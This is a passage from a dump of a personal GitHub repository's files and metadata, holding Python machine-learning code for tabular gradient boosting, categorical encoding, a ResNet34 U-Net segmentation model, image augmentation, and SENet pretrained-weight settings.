{}\".format(metrics.f1_score(target, preds)))\n\n def predict(self, df):\n cols = [x for x in df.columns if x not in [\"id\"]]\n test_data = df[cols]\n if self.model_type == \"catboost\":\n test_data = test_data.astype(\"str\")\n test_data = Pool(data=test_data, feature_names=cols, cat_features=self.cat_feature)\n\n out = None\n for fold_idx in range(self.cv):\n model = joblib.load(f\"{self.save_path}/{self.model_type}_{fold_idx}.pkl\")\n output = model.predict_proba(test_data)[:, 1]\n\n if out is None:\n out = output\n else:\n out += output\n\n out /= 5\n\n\n\n\ndef label_preprocess(train_df, test_df):\n train_len = len(train_df)\n test_df[\"target\"] = -1\n df = pd.concat((train_df, test_df), axis=0)\n cols = [x for x in train_df.columns if x not in (\"id\", \"target\")]\n for x in cols:\n lbl = preprocessing.LabelEncoder()\n df.loc[:, x] = df.loc[:, x].astype(str).fillna(\"None\")\n lbl.fit(df[x].values)\n df.loc[:, x] = lbl.transform(df[x].values)\n\n train_df = df.iloc[:train_len, :]\n test_df = df.iloc[train_len:, :]\n return train_df, test_df\n\n\n\n\n\nif __name__ == \"__main__\":\n TRAIN_PATH = '../input_II/train.csv'\n TEST_PATH = '../input_II/test.csv'\n pdb.set_trace()\n df = pd.read_csv(TRAIN_PATH).reset_index(drop=True)\n df_test = pd.read_csv(TEST_PATH).reset_index(drop=True)\n df, df_test = label_preprocess(df, df_test)\n df = df.sample(frac=1, random_state=42)\n print(df.head())\n # print(df.nunique())\n cols = [x for x in df.columns if x not in (\"id\", \"target\")]\n\n\n\n # elif df[x].dtypes == 'int':\n # print()\n\n pdb.set_trace()\n trg_encoder = TargetEncoding(df, cols, 'target', smoothing=0.3)\n df = trg_encoder.fit_transform(out_fold=5)\n print(df.head())\n # print(df.nunique())\n test_df = trg_encoder.transform(df_test)\n print(test_df.head())\n\n boostmodel = BoostModel(save_path='../input_II')\n\n # model_type = \"lightboost\"\n model_type = \"catboost\"\n\n lgb_params = {\n 'learning_rate': 0.05,\n 'feature_fraction': 0.1,\n 'min_data_in_leaf': 12,\n 'max_depth': 3,\n 'reg_alpha': 1,\n 'reg_lambda': 1,\n 'objective': 'binary',\n 'metric': 'auc',\n 'n_jobs': -1,\n 'n_estimators': 200,\n 'feature_fraction_seed': 42,\n 'bagging_seed': 42,\n 'boosting_type': 'gbdt',\n 'verbose': 1,\n 'is_unbalance': True,\n 'boost_from_average': False}\n\n cat_params = {'bagging_temperature': 0.8,\n 'depth': 5,\n 'iterations': 1000,\n 'l2_leaf_reg': 3,\n 'learning_rate': 0.03,\n 'random_strength': 0.8,\n 'loss_function': 'Logloss',\n 'eval_metric': 'AUC',\n 'nan_mode': 'Min',\n 'thread_count': 4,\n 'verbose': False}\n pdb.set_trace()\n boostmodel.set_model(model_type=model_type, param = cat_params, cat_feature=cols)\n # boostmodel.set_model(model_type=model_type, param=lgb_params)\n\n train_df = df[cols]\n target = df[\"target\"].values\n\n boostmodel.fit(train_df, target=target)\n\n\n" }, { "alpha_fraction": 0.5393065810203552, "alphanum_fraction": 0.5805011987686157, "avg_line_length": 32.36781692504883, "blob_id": "0c62518ec7a19a958707ed921d87745d370c0f6c", "content_id": "29b9a05c82da8c827d86b6b15846d71bf68dd841", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2913, "license_type": "no_license", "max_line_length": 106, "num_lines": 87, "path": "/cv_trivial/res34Unet.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom res34Net import ResNet34\n\n\nclass Swish(nn.Module):\n def forward(self, x):\n return x * torch.sigmoid(x)\n\n\nclass Decode(nn.Module):\n def __init__(self, in_channel, out_channel):\n super(Decode, self).__init__()\n\n self.block = nn.Sequential(\n nn.Conv2d(in_channel, out_channel // 2, kernel_size=3, stride=1, padding=1, bias=False),\n nn.BatchNorm2d(out_channel // 2),\n nn.ReLU(),\n\n nn.Conv2d(out_channel // 2, out_channel // 2, kernel_size=3, stride=1, padding=1, bias=False),\n nn.BatchNorm2d(out_channel//2),\n nn.ReLU(),\n\n nn.Conv2d(out_channel // 2, out_channel, kernel_size=1, stride=1, padding=0, bias=False),\n nn.BatchNorm2d(out_channel),\n nn.ReLU(),\n )\n\n def forward(self, x):\n x = self.block(x)\n return x\n\n\nclass res34Unet(nn.Module):\n def __init__(self, num_classes):\n super(res34Unet, self).__init__()\n\n e = ResNet34()\n self.block = nn.ModuleList([\n e.block0,\n e.block1,\n e.block2,\n e.block3,\n e.block4\n ])\n e = None\n\n self.conv1 = nn.Conv2d(in_channels=512, out_channels=32, kernel_size=1)\n self.conv2 = nn.Conv2d(in_channels=32, out_channels=num_classes, kernel_size=1)\n self.pool = nn.AdaptiveAvgPool2d(1)\n\n self.decode1 = Decode(in_channel=512, out_channel=512)\n self.decode2 = Decode(in_channel=256 + 512, out_channel=256)\n self.decode3 = Decode(in_channel=128 + 256, out_channel=256)\n self.decode4 = Decode(in_channel=64 + 256, out_channel=128)\n self.decode5 = Decode(in_channel=64 + 128, out_channel=128)\n\n self.upsample = nn.Upsample(scale_factor=2, mode=\"nearest\")\n self.logit = nn.Conv2d(in_channels=128, out_channels=num_classes, kernel_size=1)\n\n def forward(self, inputs):\n height, width = inputs.shape[2:]\n\n downSample = []\n for i in range(len(self.block)):\n inputs = self.block[i](inputs)\n downSample.append(inputs)\n\n cls_feature = self.pool(downSample[-1])\n cls_out = self.conv1(cls_feature)\n cls_out = self.conv2(cls_out)\n\n out = self.decode1(downSample[-1])\n out = self.upsample(out)\n out = self.decode2(torch.cat([out, downSample[-2]], dim=1))\n out = self.upsample(out)\n out = self.decode3(torch.cat([out, downSample[-3]], dim=1))\n out = self.upsample(out)\n out = self.decode4(torch.cat([out, downSample[-4]], dim=1))\n out = self.upsample(out)\n out = self.decode5(torch.cat([out, downSample[-5]], dim=1))\n out = self.logit(out)\n seg_out = F.interpolate(out, size=(height, width), mode='bilinear', align_corners=False)\n\n return cls_out, seg_out\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.578044593334198, "alphanum_fraction": 0.586239755153656, "avg_line_length": 32.57692337036133, "blob_id": "dcbb4c57179618757cb7462f98056de28c9d08db", "content_id": "cf7ed657db4cb333e3e735edaa2539f1529ef901", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5247, "license_type": "no_license", "max_line_length": 104, "num_lines": 156, "path": "/code/inputModel.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\nimport os\nimport joblib\n\nimport pdb\nimport pandas as pd\nimport numpy as np\nfrom sklearn import model_selection\nfrom sklearn import metrics\n\nfrom src import categorical\nfrom src import cross_validation\nfrom src import dispatcher\n\nFOLD_MAPPING = {\n 0: [1, 2, 3, 4],\n 1: [0, 2, 3, 4],\n 2: [0, 1, 3, 4],\n 3: [0, 1, 2, 4],\n 4: [0, 1, 2, 3]\n}\n\ndef get_encoding(df, df_test):\n train_len = len(df)\n df_test[\"target\"] = -1\n full_data = pd.concat([df, df_test])\n cols = [c for c in df.columns if c not in [\"id\", \"target\"]]\n encoding_type = \"label\"\n cat_feats = categorical.CategoricalFeatures(full_data,\n categorical_features=cols,\n encoding_type=encoding_type,\n handle_na=True\n )\n pdb.set_trace()\n\n full_data_transformed = cat_feats.fit_transform()\n if encoding_type == \"label\":\n X = full_data_transformed.iloc[:train_len, :]\n X_test = full_data_transformed.iloc[train_len:, :]\n return X, X_test\n\n elif encoding_type == 'ohe':\n X = full_data_transformed[:train_len, :]\n X_test = full_data_transformed[train_len:, :]\n ytrain = df.target.values\n return X, ytrain, X_test\n\ndef get_splitdf(df):\n\n cv = cross_validation.CrossValidation(df, shuffle=True, target_cols=[\"target\"],\n problem_type=\"binary_classification\")\n df_split = cv.split()\n print(df_split.head())\n print(df_split.kfold.value_counts())\n return df_split\n\ndef sparse_train(X, ytrain, model_path, model_type):\n pdb.set_trace()\n kf = model_selection.StratifiedKFold(n_splits=5, shuffle=True, random_state=42)\n\n\n for FOLD, (train_idx, valid_idx) in enumerate(kf.split(X=X, y=ytrain)):\n clf = dispatcher.MODELS[model_type]\n train_X, train_y = X[train_idx], ytrain[train_idx]\n valid_X, valid_y = X[valid_idx], ytrain[valid_idx]\n clf.fit(train_X, train_y)\n preds = clf.predict_proba(valid_X)[:, 1]\n print(metrics.roc_auc_score(valid_y, preds))\n\n joblib.dump(clf, f\"{model_path}/{model_type}_{FOLD}.pkl\")\n\n\ndef sparse_predict(X_test, df_test, model_path, model_type):\n pdb.set_trace()\n test_idx = df_test[\"id\"].values\n predict = None\n\n for FOLD in range(5):\n clf = joblib.load(os.path.join(model_path, f\"{model_type}_{FOLD}.pkl\"))\n preds = clf.predict_proba(X_test)[:, 1]\n if FOLD == 0:\n predict = preds\n else:\n predict += preds\n\n predict /= 5\n\n sub = pd.DataFrame(np.column_stack((test_idx, predict)), columns=[\"id\", \"target\"])\n sub[\"id\"] = sub[\"id\"].astype(\"int\")\n return sub\n\n\ndef train(df, model_path, model_type):\n\n for FOLD in range(5):\n train_df = df[df.kfold.isin(FOLD_MAPPING.get(FOLD))].reset_index(drop=True)\n valid_df = df[df.kfold == FOLD].reset_index(drop=True)\n\n ytrain = train_df.target.values\n yvalid = valid_df.target.values\n\n train_df.drop([\"id\", \"target\", \"kfold\"], axis=1, inplace=True)\n valid_df.drop([\"id\", \"target\", \"kfold\"], axis=1, inplace=True)\n\n valid_df = valid_df[train_df.columns]\n pdb.set_trace()\n clf = dispatcher.MODELS[model_type]\n clf.fit(train_df, ytrain)\n preds = clf.predict_proba(valid_df)[:, 1]\n print(metrics.roc_auc_score(yvalid, preds))\n\n joblib.dump(clf, f\"{model_path}/{model_type}_{FOLD}.pkl\")\n joblib.dump(train_df.columns, f\"{model_path}/{model_type}_{FOLD}_columns.pkl\")\n\ndef predict(df_test, model_path, model_type):\n test_idx = df_test[\"id\"].values\n predict = None\n\n for FOLD in range(5):\n pdb.set_trace()\n print(\"current FOLD is {}\".format(FOLD))\n clf = joblib.load(os.path.join(model_path, f\"{model_type}_{FOLD}.pkl\"))\n cols = joblib.load(os.path.join(model_path, f\"{model_type}_{FOLD}_columns.pkl\"))\n df_test = df_test[cols]\n preds = clf.predict_proba(df_test)[:, 1]\n if FOLD == 0:\n predict = preds\n else:\n predict += preds\n\n predict /= 5\n\n sub = pd.DataFrame(np.column_stack((test_idx, predict)), columns=[\"id\", \"target\"])\n sub[\"id\"] = sub[\"id\"].astype(\"int\")\n return sub\n\nif __name__ == '__main__':\n TRAIN_PATH = os.environ.get(\"TRAIN_PATH\")\n TEST_PATH = os.environ.get(\"TEST_PATH\")\n SUBMISSION = os.environ.get(\"SUBMISSION\")\n MODEL_TYPE = os.environ.get(\"MODEL\")\n MODEL_PATH = os.environ.get(\"MODEL_PATH\")\n\n pdb.set_trace()\n df = pd.read_csv(TRAIN_PATH)\n df_test = pd.read_csv(TEST_PATH)\n # sample = pd.read_csv(SUBMISSION\n # df, df_test = get_encoding(df, df_test)\n # df= get_splitdf(df)\n #\n # train(df=df, model_type=MODEL_TYPE, model_path=MODEL_PATH)\n # sub = predict(df_test=df_test, model_path=MODEL_PATH, model_type=MODEL_TYPE)\n X, X_test = get_encoding(df, df_test)\n # sparse_train(X, ytrain, model_path=MODEL_PATH, model_type=MODEL_TYPE)\n # sub = sparse_predict(X_test=X_test, df_test=df_test, model_path=MODEL_PATH, model_type=MODEL_TYPE)\n pdb.set_trace()\n # sub.to_csv(f\"{SUBMISSION}/{MODEL_TYPE}_1.csv\", index=False)\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.7128027677536011, "alphanum_fraction": 0.7370242476463318, "avg_line_length": 19.714284896850586, "blob_id": "61efb8bbdd76a267efb0633ac0a8487f943b0a5f", "content_id": "b0f9fbb4ebd927bde41f4ce3babbb10bb33158d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 289, "license_type": "no_license", "max_line_length": 41, "num_lines": 14, "path": "/run.sh", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\nexport TRAINING_DATA=data/train_folds.csv\nexport TEST_DATA=data/test.csv\n#export FOLD=$2\nexport MODEL=$1\n\n#FOLD=0 python -m src.train\n#FOLD=1 python -m src.train\n#FOLD=2 python -m src.train\n#FOLD=3 python -m src.train\n#FOLD=4 python -m src.train\n\npython -m src.predict" }, { "alpha_fraction": 0.4921434223651886, "alphanum_fraction": 0.5244379043579102, "avg_line_length": 34.760868072509766, "blob_id": "b07757e56512f640da15d5fc9ffffdb39c565116", "content_id": "b77f4881f57fce0fe3bf4fb223f083b290f82a88", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11521, "license_type": "no_license", "max_line_length": 125, "num_lines": 322, "path": "/cv_trivial/dataset.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\n\"\"\"\n Dataset for images including image processing methods. Based on initial data,\n changing the \"get_\" methods\n\"\"\"\nimport os\nimport pdb\nimport cv2\nimport math\nimport numpy as np\n\nimport torch\nfrom torch.utils.data import Dataset\n\nMEAN = (0.485, 0.456, 0.406)\nSTD = (0.229, 0.224, 0.225)\n\n\nclass ImgDataset(Dataset):\n def __init__(self, imagefile, data_dir, mask_list = None, label_list=None, train_mode=True):\n \"\"\"\n Create dataset for image and mask\n :param imagefile: Type: list of str, a list of image files\n :param mask_list: Type: list of list, a list of pixel lists\n :param data_dir: Type: file, the workdir of images\n :param label_list:Type: list of int, the list of labels\n :param train_mode: Type: bool, if True, it outputs \"data\" and \"target\", otherwise, it outputs \"data\"\n \"\"\"\n self.imagefile = imagefile\n self.data_dir = data_dir\n self.mask_list = mask_list\n self.label_list = label_list\n\n self.train_mode = train_mode\n\n assert (os.path.exists(self.data_dir)), \"data_dir doesn't exist\"\n\n def __len__(self):\n return len(self.imagefile)\n\n def __getitem__(self, idx):\n imgfile = os.path.join(self.data_dir, self.imagefile[idx])\n img = torch.tensor(self._get_img(imgfile), dtype=torch.float)\n # pdb.set_trace()\n\n if self.train_mode:\n mask_list = self.mask_list.iloc[idx, :]\n mask = torch.tensor(self._get_mask(mask_list, img), dtype=torch.int)\n label = torch.tensor(self._get_label(mask_list), dtype=torch.float)\n img, mask = self._process_img_mask(img, mask)\n\n return {\n \"img\": img,\n \"mask\": mask,\n \"label\": label\n }\n\n else:\n return {\n \"img\": img,\n }\n\n def _get_img(self, imgpath):\n img = cv2.imread(imgpath, cv2.IMREAD_GRAYSCALE)\n img = np.expand_dims(img, 2)\n img = img.astype(float) / 255.0\n\n return img\n\n def _get_mask(self, mask_list, img):\n height, width = img.shape[:2]\n mask = np.zeros((height, width, 4), dtype=np.uint8)\n\n for idx, pixel in enumerate(mask_list):\n if pixel == \"None\":\n continue\n signal_mask = np.zeros(height*width, dtype=np.uint8)\n pixel = pixel.split(\" \")\n starts, lengths = [np.asarray(x, dtype=int) for x in (pixel[0::2], pixel[1::2])]\n starts -= 1\n ends = starts + lengths\n for lo, hi in zip(starts, ends):\n signal_mask[lo: hi] = 1\n img = signal_mask.reshape(height, width, order='F')\n mask[:, :, idx] = img\n\n return mask\n\n def _get_label(self, mask_list):\n label = [0] * 4\n for idx, pixel in enumerate(mask_list):\n if pixel != \"None\":\n label[idx] = 1\n return label\n\n def _process_img_mask(self, img, mask):\n\n if np.random.rand() > 0.5:\n img, mask = self._lr_flip(img, mask)\n if np.random.rand() > 0.5:\n img, mask = self._ud_flip(img, mask)\n if np.random.rand() > 0.5:\n img = self._random_noise(img)\n if np.random.rand() > 0.5:\n img = self._random_salt_pepper_noise(img)\n if np.random.rand() > 0.5:\n img = self._random_log_contast(img)\n\n crop_rotate = np.random.choice(2)\n if crop_rotate == 0:\n img, mask = self._random_crop_rescale(img, mask, 1124, 224)\n else:\n img, mask = self._random_rotate_rescale(img, mask)\n\n img = self._normalize_img(img, mean=MEAN, std=STD)\n\n return img, mask\n\n def _normalize_img(self, img, mean, std):\n\n mean = torch.tensor(mean, dtype=torch.float)\n std = torch.tensor(std, dtype=torch.float)\n if len(img.shape) == 3:\n if img.shape[2] == 1:\n mean = torch.mean(mean)\n std = torch.mean(std)\n img = (img - mean) / std\n\n else:\n assert (img.shape[2] == len(mean) and img.shape[2] == len(std)), \\\n \"dimension dones't match\"\n\n channel = img.shape[2]\n for c in range(channel):\n img[:, :, c] = (img[:, :, c] - mean[c]) / std[c]\n\n elif len(img.shape) == 2:\n mean = torch.mean(mean)\n std = torch.mean(std)\n img = (img - mean) / std\n\n return img\n\n def _lr_flip(self, img, mask):\n img = torch.flip(img, dims=(1, ))\n mask = torch.flip(mask, dims=(1,))\n\n return img, mask\n\n def _ud_flip(self, img, mask):\n img = torch.flip(img, dims=(0, ))\n mask = torch.flip(mask, dims=(0, ))\n\n return img, mask\n\n def _random_crop(self, img, mask, w, h):\n\n height, width = img.shape[:2]\n if w > width or h > height:\n raise Exception(\"crop size is bigger than original image\")\n x = np.random.choice(width - w)\n y = np.random.choice(height - h)\n\n if len(img.shape) == 3:\n img = img[y:y + h, x:x + w, :]\n mask = mask[y:y + h, x:x + w, :]\n else:\n img = img[y:y + h, x:x + w]\n mask = mask[y:y + h, x:x + w]\n\n return img, mask\n\n def _random_crop_rescale(self, img, mask, w, h):\n height, width, channel = img.shape[:3]\n crop_img, crop_mask = self._random_crop(img, mask, w, h)\n if (w, h) != (width, height):\n crop_img, crop_mask = crop_img.numpy(), crop_mask.float().numpy()\n img = cv2.resize(crop_img, dsize=(width, height), interpolation=cv2.INTER_LINEAR)\n mask = cv2.resize(crop_mask, dsize=(width, height), interpolation=cv2.INTER_LINEAR)\n if channel == 1:\n img, mask = torch.from_numpy(img).unsqueeze(dim=2), torch.from_numpy(mask).int()\n else:\n img, mask = torch.from_numpy(img), torch.from_numpy(mask).int()\n\n return img, mask\n\n def _get_matrix(self, rotation, shear, h_zoom, w_zoom, h_shift, w_shift):\n rotation = math.pi * rotation / 180\n shear = math.pi * shear / 180\n\n # rotation matrix\n c1 = torch.cos(rotation)\n s1 = torch.sin(shear)\n one = torch.ones(size=(1,))\n zero = torch.zeros(size=(1,))\n rotation_matrix = torch.reshape(torch.cat([c1, s1, zero, -s1, c1, zero, zero, zero, one]), (3, 3))\n\n # shear matrix\n c2 = torch.cos(shear)\n s2 = torch.sin(shear)\n shear_matrix = torch.reshape(torch.cat([one, s2, zero, zero, c2, zero, zero, zero, one]), (3, 3))\n\n # zoom matrix\n zoom_matrix = torch.reshape(torch.cat([one / h_zoom, zero, zero, zero, one / w_zoom, zero, zero, zero, one]), (3, 3))\n\n # shift matrix\n shift_matrix = torch.reshape(torch.cat([one, zero, h_shift, zero, one, w_shift, zero, zero, one]), (3, 3))\n\n matrix = torch.mm(torch.mm(rotation_matrix, shear_matrix), torch.mm(zoom_matrix, shift_matrix))\n return matrix\n\n def _random_rotate_rescale(self, img, mask):\n height, width = img.shape[:2]\n rotation = torch.randint(low=-15, high=15, size=(1,), dtype=torch.float)\n shear = torch.randint(low=-10, high=10, size=(1,), dtype=torch.float)\n h_zoom = 1.0 + torch.normal(mean=0., std=1., size=(1,)) / 10\n w_zoom = 1.0 + torch.normal(mean=0., std=1., size=(1,)) / 10\n h_shift = 1.0 + torch.normal(mean=0., std=1., size=(1,)) / 10\n w_shift= 1.0 + torch.normal(mean=0., std=1., size=(1,)) / 10\n\n matrix = self._get_matrix(rotation, shear, h_zoom, w_zoom, h_shift, w_shift)\n x = torch.from_numpy(np.repeat(np.arange(height//2, -height//2, -1), width)).long()\n y = torch.from_numpy(np.tile(np.arange(width // 2, -width // 2, -1), [height])).long()\n z = torch.ones(size = (height*width, ), dtype=torch.long)\n idx = torch.stack([x, y, z])\n\n idx2 = torch.mm(matrix, idx.float()).long()\n idx2[0, :] = torch.clamp(idx2[0, :], -height//2, height//2-1)\n idx2[1, :] = torch.clamp(idx2[1, :], -width//2, width//2-1)\n\n idx3 = torch.stack([height//2 - 1 - idx2[0, :], width//2 - 1 - idx2[1, :]])\n img = img[idx3[0, :], idx3[1, :]].reshape(height, width, img.shape[2])\n mask = mask[idx3[0, :], idx3[1, :]].reshape(height, width, mask.shape[2])\n\n return img, mask\n\n def _random_log_contast(self, img, gain=[0.70, 1.30]):\n gain = np.random.uniform(gain[0], gain[1], size=1)[0]\n inverse = np.random.choice(2, 1)\n\n if inverse == 0:\n img = torch.mul(torch.log(torch.add(img, 1.)), gain)\n else:\n img = torch.mul((torch.add(torch.pow(2., img), -1.)), gain)\n\n img = torch.clamp(img, 0., 1.)\n\n return img\n\n def _random_noise(self, img, noise = 0.4):\n height, width = img.shape[:2]\n img = img + torch.mul(torch.normal(-1, 1, size=(height, width, 1)), noise)\n img = torch.clamp(img, 0., 1.)\n\n return img\n\n def _random_contast(self, img):\n beta = 0.1\n alpha = torch.normal(0.5, 2.0, size=(1,))\n img = img * alpha + beta\n img = torch.clamp(img, 0., 1.)\n return img\n\n def _random_salt_pepper_noise(self, img, noise = 0.0005):\n height, width = img.shape[:2]\n num_salt = int(noise * width * height)\n # Salt mode\n yx = [np.random.randint(0, d - 1, num_salt) for d in img.shape[:2]]\n if img.shape[2] == 1:\n img[tuple(yx)] = 1.0\n elif img.shape[2] > 1:\n img[tuple(yx)] = torch.tensor([1.0] * img.shape[2], dtype=torch.float)\n\n # Pepper mode\n yx = [np.random.randint(0, d - 1, num_salt) for d in img.shape[:2]]\n if img.shape[2] == 1:\n img[tuple(yx)] = 0.0\n elif img.shape[2] > 1:\n img[tuple(yx)] = torch.tensor([1.0] * img.shape[2], dtype=torch.float)\n img = torch.clamp(img, 0., 1.)\n\n return img\n\n def _random_salt_pepper_line(self, img, noise=0.0005, length=10):\n height, width = img.shape[:2]\n num_salt = int(noise * width * height)\n # Salt mode\n y0x0 = np.array([np.random.randint(0, d - 1, num_salt) for d in img.shape[:2]]).T\n y1x1 = y0x0 + np.random.choice(2 * length, size=(num_salt, 2)) - length\n img = img.numpy()\n for (y0, x0), (y1, x1) in zip(y0x0, y1x1):\n if img.shape[2] == 1:\n cv2.line(img, (x0, y0), (x1, y1), 1.0, 1)\n elif img.shape[2] == 3:\n cv2.line(img, (x0, y0), (x1, y1), (1.0, 1.0, 1.0), 1)\n # Pepper mode\n\n y0x0 = np.array([np.random.randint(0, d - 1, num_salt) for d in img.shape[:2]]).T\n y1x1 = y0x0 + np.random.choice(2 * length, size=(num_salt, 2)) - length\n for (y0, x0), (y1, x1) in zip(y0x0, y1x1):\n if img.shape[2] == 1:\n cv2.line(img, (x0, y0), (x1, y1), 0.0, 1)\n elif img.shape[2] == 3:\n cv2.line(img, (x0, y0), (x1, y1), (0, 0, 0), 1)\n img = torch.tensor(img)\n img = torch.clamp(img, 0., 1.)\n\n return img\n\n def _random_cutout(self, img, mask):\n height, width = img.shape[:2]\n\n u0 = np.random.choice(2)\n u1 = np.random.choice(width)\n\n if u0 == 0:\n x0, x1 = 0, u1\n if u0 == 1:\n x0, x1 = u1, width\n img[:, x0:x1] = 0.0\n mask[:, x0:x1] = 0.0\n\n return img, mask\n\n\n\n" }, { "alpha_fraction": 0.5602960586547852, "alphanum_fraction": 0.5650848746299744, "avg_line_length": 35.72800064086914, "blob_id": "4f88e25112e5fe619e314513aa75aa45f3b29fe1", "content_id": "8f170c138287c5addfad4a04a03af47a85a4d0ce", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4594, "license_type": "no_license", "max_line_length": 88, "num_lines": 125, "path": "/src/categorical.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\n\"\"\"\n Build a class to preprocess features of dataframe\n preprocess method: label_encoding, label_binarization, one_hot encoding\n\"\"\"\nfrom sklearn import preprocessing\nfrom sklearn import linear_model\nfrom sklearn import model_selection\nimport pandas as pd\nimport numpy as np\nimport pdb\n\nclass CategoricalFeatures(object):\n def __init__(self, df, categorical_features, encoding_type, handle_na = False):\n \"\"\"\n Transform the features to special encoding type\n :param df: type: dataframe\n :param categoircal_features: type: list[str], list of columns\n :param encoding_type: type: str, encoding_type, e.g 'label', 'ohe'\n :param handle_na: type: bool, handle NAN in data features\n \"\"\"\n self.df = df\n self.cat_feats = categorical_features\n self.enc_type = encoding_type\n self.handle_na = handle_na\n self.label_encoders = dict()\n self.binary_encoders = dict()\n self.ohe = None\n\n if self.handle_na:\n for c in self.cat_feats:\n self.df.loc[:, c] = self.df.loc[:, c].astype(str).fillna(\"-9999999\")\n self.output_df = self.df.copy(deep=True)\n\n def _label_encoding(self):\n for c in self.cat_feats:\n lbl = preprocessing.LabelEncoder()\n lbl.fit(self.df[c].values)\n self.output_df.loc[:, c] = lbl.transform(self.df[c].values)\n return self.output_df\n\n def _label_binarization(self):\n for c in self.cat_feats:\n lbl = preprocessing.LabelBinarizer()\n lbl.fit(self.df[c].values)\n val = lbl.transform(self.df[c].values)\n self.output_df = self.output_df.drop(c, axis = 1)\n for j in range(val.shape[1]):\n new_col_name = c + f\"_binary_{j}\"\n self.output_df[new_col_name] = val[:, j]\n self.binary_encoders[c] = lbl\n return self.output_df\n\n def _one_hot(self):\n ohe = preprocessing.OneHotEncoder()\n ohe.fit(self.df[self.cat_feats].values)\n return ohe.transform(self.output_df[self.cat_feats].values)\n\n def fit_transform(self):\n if self.enc_type == \"label\":\n return self._label_encoding()\n elif self.enc_type == \"binary\":\n return self._label_binarization()\n elif self.enc_type == \"ohe\":\n return self._one_hot()\n else:\n raise Exception(\"Encoding type not understood\")\n\n def transform(self, dataframe):\n if self.handle_na:\n for c in self.cat_feats:\n dataframe.loc[:, c] = dataframe.loc[:, c].astype(str).fillna(\"-9999999\")\n\n if self.enc_type == \"label\":\n for c, lbl in self.label_encoders.items():\n dataframe.loc[:, c] = lbl.transform(dataframe[c].values)\n return dataframe\n\n elif self.enc_type == \"binary\":\n for c, lbl in self.binary_encoders.items():\n val = lbl.transform(dataframe[c].values)\n dataframe = dataframe.drop(c, axis=1)\n\n for j in range(val.shape[1]):\n new_col_name = c + f\"_binary_{j}\"\n dataframe[new_col_name] = val[:, j]\n return dataframe\n\n elif self.enc_type == \"ohe\":\n return self.ohe(dataframe[self.cat_feats].values)\n\n else:\n raise Exception(\"Encoding type not understood\")\n\n\nif __name__ == '__main__':\n df = pd.read_csv(\"../input_II/train.csv\")\n df_test = pd.read_csv(\"../input_II/test.csv\")\n sample = pd.read_csv(\"../input_II/sample_submission.csv\")\n\n df = df.sample(frac=1, random_state=42)\n\n df_test[\"target\"] = -1\n train_len = len(df)\n full_data = pd.concat([df, df_test])\n cols = [c for c in df.columns if c not in [\"id\", \"target\"]]\n encoding_type = \"ohe\"\n cat_feats = CategoricalFeatures(full_data,\n categorical_features = cols,\n encoding_type=encoding_type,\n handle_na=True\n )\n full_data_transformed = cat_feats.fit_transform()\n pdb.set_trace()\n if encoding_type == \"label\":\n X = full_data_transformed.iloc[:train_len, :]\n X_test = full_data_transformed.iloc[train_len:, :]\n elif encoding_type == \"ohe\":\n X = full_data_transformed[:train_len, :]\n\n X_test = full_data_transformed[train_len:, :]\n X_test = pd.DataFrame(X_test)\n else:\n raise Exception(\"encoding type is not defined\")\n print(X.head())\n print(X_test.head())\n\n\n" }, { "alpha_fraction": 0.7265822887420654, "alphanum_fraction": 0.75443035364151, "avg_line_length": 43, "blob_id": "0b0234299e583ec9fc3601bd75f77be37908c1a7", "content_id": "b519acae681fdc9238dbcdf21bcf4644fa081cc1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 395, "license_type": "no_license", "max_line_length": 91, "num_lines": 9, "path": "/src/dispatcher.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "from sklearn import ensemble\nfrom sklearn import linear_model\n\nMODELS = {\n # \"randomforest\": ensemble.RandomForestClassifier(n_jobs=1, verbose=2),\n \"randomforest\": ensemble.RandomForestClassifier(n_estimators=200, n_jobs=1, verbose=2),\n \"extratrees\": ensemble.ExtraTreesClassifier(n_jobs=1, verbose=2),\n \"logisticregression\": linear_model.LogisticRegression(solver=\"lbfgs\", C=0.1),\n}" }, { "alpha_fraction": 0.5086106061935425, "alphanum_fraction": 0.5544719696044922, "avg_line_length": 38.227603912353516, "blob_id": "81de0411e8458e7bf8ff7dc39eab818f8c66420a", "content_id": "cab5183d4857db82b85c5469854488c10121e990", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 16201, "license_type": "no_license", "max_line_length": 117, "num_lines": 413, "path": "/cv_trivial/ensembleModel.py", "repo_name": "CHC278Cao/trivial", "src_encoding": "UTF-8", "text": "\nimport math\nfrom collections import OrderedDict\n\nimport torch\nimport torch.nn as nn\nfrom torch.utils import model_zoo\n\n__all__ = [\"SENet\", \"senet154\", \"se_resnet50\", \"se_resnet101\",\n \"se_resnet152\", \"se_resnext50_32x4d\", \"se_resnext101_32x4d\"]\n\npretrained_settings = {\n \"senet154\": {\n \"imagenet\": {\n \"url\": \"http://data.lip6.fr/cadene/pretrainedmodels/senet154-c7b49a05.pth\",\n \"input_space\": \"RGB\",\n \"input_size\": [3, 224, 224],\n \"input_range\": [0, 1],\n \"mean\": [0.485, 0.456, 0.406],\n \"std\": [0.229, 0.224, 0.225],\n \"num_classes\": 1000,\n }\n },\n\n 'se_resnet50': {\n 'imagenet': {\n 'url': 'http://data.lip6.fr/cadene/pretrainedmodels/se_resnet50-ce0d4300.pth',\n 'input_space': 'RGB',\n 'input_size': [3, 224, 224],\n 'input_range': [0, 1],\n 'mean': [0.485, 0.456, 0.406],\n 'std': [0.229, 0.224, 0.225],\n 'num_classes': 1000\n }\n },\n\n 'se_resnet101': 